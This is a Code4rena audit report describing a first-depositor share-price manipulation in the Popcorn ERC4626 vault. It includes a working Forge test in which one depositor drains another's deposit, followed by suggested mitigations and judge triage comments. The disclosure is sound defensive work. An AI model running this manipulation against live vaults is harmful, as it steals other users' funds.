First depositor can steal asset tokens of others

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L134
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L300

Vulnerability details

Impact

ERC4626 vaults are subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors.

Take a look at this issue

Even though the docs says that it prevents the attack, this test is still passing.

This scenario is little bit different because first depositor can withdraw the second's assets.

Proof of Concept

Add this test to Vault.t.sol and run it:

  function test__deposit_1() public {
    uint256 aliceassetAmount = 1;

    asset.mint(alice, aliceassetAmount + 1000);       // Assume alice is the first depositor and she has 1001 asset tokens currently

    vm.startPrank(alice);
    asset.approve(address(adapter), 1000);            // She will approve adapter address for 1000 asset tokens
    adapter.mint(1000, alice);                        // Then she will call mint to get 1000 adapter tokens

    asset.approve(address(vault), aliceassetAmount);  // Approves vault address so she can deposit her asset token (1 wei)
    vault.deposit(aliceassetAmount, alice);           // Calls deposit function passing 1 wei as asset token

    adapter.transfer(address(vault), 1000);           // Next, she will directly send her 1000 adapter tokens to the vault to manipulate the
                                                      // formula calculating shares: assets.mulDiv(supply, totalAssets(), Math.Rounding.Down);
    vm.stopPrank();

    asset.mint(bob, 500);                             // Bob is the second depositor, he has no idea whats going on

    vm.startPrank(bob);
    asset.approve(address(vault), 500);               
    vault.deposit(500, bob);                          // He will deposit 500 asset tokens to the vault but will get 0 shares minted 
    vm.stopPrank();                                   // because of the formula above

    vm.prank(alice);
    vault.withdraw(1501);                             // Now, alice knowing that there is some deposit, she can call withdraw function with total of her's and Bob's 
                                                      // deposited amount and ones that she sent to adapter = 1 + 1000 + 500 = 1501
    assertEq(asset.balanceOf(alice), 1501);           // She successfully withdrawed Bob's tokens
  }

Tools Used

Manual, Forge

Recommended Mitigation Steps

• Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution.

• Ensure the number of shares to be minted is non-zero: require(shares != 0, "zero shares minted");

• Create a periphery contract that contains a wrapper function that atomically calls initialize() and deposit()

• Call deposit() once in initialize() to achieve the same effect as the suggestion above.

[c4-judge]

dmvt marked the issue as primary issue

[c4-sponsor]

RedVeil marked the issue as sponsor confirmed

[c4-judge]

dmvt marked the issue as satisfactory

[c4-judge]

dmvt marked issue #243 as primary and marked this issue as a duplicate of 243